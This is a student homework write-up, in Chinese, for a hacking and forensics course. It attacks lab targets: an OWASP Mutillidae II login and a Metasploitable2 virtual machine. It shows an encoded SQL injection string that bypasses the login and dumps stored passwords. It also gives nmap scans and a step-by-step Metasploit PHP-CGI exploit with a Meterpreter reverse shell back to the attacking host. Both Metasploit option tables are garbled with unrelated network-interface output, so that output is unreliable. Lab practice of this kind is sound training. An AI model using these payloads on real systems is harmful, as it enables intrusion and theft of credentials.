

HACK TECHNOLOGY & COMPUTER FORENSIC


Homework 2

范真瑋

1. OWASP Mutillidae II.

(a)



首先輸入任意正常字元


 **OWASP Mutillidae II: Web Pwn in Mass Production**

Version: 2.6.24 Security Level: 1 (Client-side Security) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

[Home](#) | [Login/Register](#) | [Show Popup Hints](#) | [Toggle Security](#) | [Enforce SSL](#) | [Reset DB](#) | [View Log](#) | [View Captured Data](#)

Login

 **Back**  **Help Me!**



Please sign-in

Username

Password

Login

利用 Burp Suite 擷取封包

帳號密碼改為 URL 編碼過的' or 1=1 指令，並送出

```
username=%27%20%6f%72%20%31%3d%31%20%2d%2d%20&password=%27%20%6f%72%20%31%3d%31%20%2d%2d%20&login.php.submit.button=Login
```

成功取得權限


OWASP Mutillidae II: Web Pwn in Mass Production
Status Update

Version: 2.6.24
Security Level: 1 (Client-side Security)
Hints: Enabled (1 - 5cr1pt K1dd1e)
Logged In Admin: admin (g0t m00t?)

(b)

使用與(a)相同的方法，輸入任意正常字元，並利用 Burp Suite 擷取封包，帳號密碼改為 URL 編碼過的 ' or 1=1 指令，並送出，成功取得資料

| Results for "' or 1=1 -- ".24 records found. | |
|---|--|
| Username =admin | |
| Password =admin | |
| Signature =g0t r00t? | |
| | |
| Username =adrian | |
| Password =somepassword | |
| Signature =Zombie Films Rock! | |
| | |
| Username =john | |
| Password =monkey | |
| Signature =I like the smell of confunk | |
| | |
| Username =jeremy | |
| Password =password | |
| Signature =d1373 1337 speak | |
| | |
| Username =bryce | |
| Password =password | |
| Signature =I Love SANS | |
| | |
| Username =samurai | |
| Password =samurai | |
| Signature =Carving fools | |
| | |
| Username =jim | |
| Password =password | |
| Signature =Rome is burning | |
| | |
| Username =bobby | |
| Password =password | |
| Signature =Hank is my dad | |
| | |
| Username =simba | |
| Password =password | |
| Signature =I am a super-cat | |

(c)

(d)

2. Metasploit Framework.

(a)

(b)

使用 nmap 蒐集相關資訊

```
root@kali:~# nmap -Pn 10.0.2.6 -sS -T4
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-24 22:57 EDT
Nmap scan report for 10.0.2.6: 255.255.255.0 broadcast 10.0.2.255
Host is up (0.000047s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE
19/tcp    open  ftp
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  smb
445/tcp   open  smb
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  rsh
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:D8:B2:BC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.09 seconds
root@kali:~# nmap -sS -p80 -sV -T4 10.0.2.6
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-24 22:57 EDT
Nmap scan report for 10.0.2.6
Host is up (0.00023s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.2.8 ((Ubuntu) DAV/2)
MAC Address: 08:00:27:D8:B2:BC (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 6.51 seconds
```

使用 module -- exploit/multi/http/php_cgi_arg_injection，並設定遠端主機

```
msf> use exploit/multi/http/php_cgi_arg_injection
msf exploit(multi/http/php_cgi_arg_injection) > show options
Module options (exploit/multi/http/php_cgi_arg_injection):
  Name RX packets 32819 bytes 29244285 (27.8 MiB)
  TX packets 347263 bytes 87446279 (83.3 MiB)
  Name RX errorCurrent Setting Required Description
  ---- TX packets 347263 bytes 87446279 (83.3 MiB)
  PLESK TX errorfalse 0 yes 0 Exploit Plesk collisions 0
  Proxies no A proxy chain of format type:host:port[,type:host:port][...]
  RHOST=73<UP,LOOPBACK,RUNNING> yes 6553 The target address
  RPORTinet 12780 0.1 netmask yes 0.0 The target port (TCP)
  SSL inet6 ::false-fixlen 128 no 0 Negotiate SSL/TLS for outgoing connections
  TARGETURI txqueuelen 1000 (1 noal LoopbThe URI to request (must be a CGI-handled PHP script)
  URIENCODINGe0: 347263 bytes yes 16279 (Level of URI URIENCODING and padding (0 for minimum)
  VHOSTTX errors 0 dropped 0 noruns 0 HTTP server virtual host
  TX packets 347263 bytes 87446279 (83.3 MiB)
  TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Exploit target:
  Id Name
  -- --
  0 Automatic
msf exploit(multi/http/php_cgi_arg_injection) > set RHOST 10.0.2.6
RHOST => 10.0.2.6
```

使用 payload -- php/meterpreter/reverse_tcp，並設定本地端主機

```
msf exploit(multi/http/php_cgi_arg_injection) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp prefixlen 64 scopeid 0x20<link>
msf exploit(multi/http/php_cgi_arg_injection) > show options
Module options (exploit/multi/http/php_cgi_arg_injection):
  Name TX packets 24290 bytes 3642110 (3.4 MiB)
  Name TX errorCurrent Setting Required Description collisions 0
  ---- TX packets 24290 bytes 3642110 (3.4 MiB)
  PLESK=73<UP,false:CK,RUNNING> yes 6553 Exploit Plesk
  Proxieset 127.0.0.1 netmask no 0.0.0 A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTinet6 ::10.0.2.6 len 128 yes 0 The target address
  RPORTloop tx80 uelen 1000 (1 yes) LoopbThe target port (TCP)
  SSL RX packetfalse/263 bytes no446279 (Negotiate SSL/TLS for outgoing connections
  TARGETURIerrors 0 dropped 0 noruns 0 The URI to request (must be a CGI-handled PHP script)
  URIENCODINGe0: 347263 bytes yes 16279 (Level of URI URIENCODING and padding (0 for minimum)
  VHOSTTX errors 0 dropped 0 noruns 0 HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
  Name Current Setting Required Description
  ----
  LHOST yes The listen address
  LPORT 4444 yes The listen port
Exploit target:
  Id Name
  -- --
  0 Automatic
msf exploit(multi/http/php_cgi_arg_injection) > set LHOST 10.0.2.7
LHOST => 10.0.2.7
```

進行攻擊

```
msf exploit(multi/http/php_cgi_arg_injection) > run
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
[*] Started reverse TCP handler on 10.0.2.7:4444 broadcast 10.0.2.255
[*] Sending stage (37775 bytes) to 10.0.2.6 l3len 64 scopeid 0x20<link>
[*] Meterpreter session 1 opened (10.0.2.7:4444 -> 10.0.2.6:57071) at 2018-05-24 22:36:07 -0400
meterpreter> ls
Listing: /var/www
===== 0 dropped 0 overruns 0 carrier 0 collisions 0

Mode flags=73<UP,LOCAL,LOOPBACK,RUNNING,MULTICAST> mtu 1500
----
Size      Type    Last modified      Name
----
41777/rwxrwxrwx 4096 dir 2018-03-29 09:30:23 -0400 dav
40755/rwxr-xr-x 4096 dir 2012-05-20 15:52:33 -0400 dvwa
100644/rw-r--r-- 891 file 2012-05-20 15:31:37 -0400 index.php
40755/rwxr-xr-x 4096 dir 2012-05-20 15:22:48 -0400 mutillidae
40755/rwxr-xr-x 4096 dir 2012-05-20 15:22:48 -0400 phpMyAdmin
100644/rw-r--r-- 19 file 2012-05-20 15:22:48 -0400 phpinfo.php
40755/rwxr-xr-x 4096 dir 2012-05-20 15:22:48 -0400 test
40775/rwxrwxr-x 20480 dir 2012-05-20 15:22:48 -0400 tikiwiki
40775/rwxrwxr-x 20480 dir 2012-05-20 15:22:48 -0400 tikiwiki-old
40755/rwxr-xr-x 4096 dir 2012-05-20 15:22:48 -0400 twiki
```

成功取得權限

```
meterpreter > shell
Process 4757 created.
Channel 0 created.
ifconfig
/bin/sh: line 1: ifconfig: command not found
/sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:d8:b2:bc
          inet addr:10.0.2.6  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fed8:b2bc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1222 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1216 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:171816 (167.7 KB)  TX bytes:86453 (84.4 KB)
          Base address:0xd010 Memory:f0000000-f0020000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
```

Metasploitable2 的 IP 為 10.0.2.6

```
metasploitable 2 [執行中] - Oracle VM VirtualBox
檔案  機器  檢視  輸入  裝置  說明
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:d8:b2:bc
          inet addr:10.0.2.6  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fed8:b2bc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1236 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1228 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:173773 (169.7 KB)  TX bytes:89513 (87.4 KB)
          Base address:0xd010 Memory:f0000000-f0020000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
```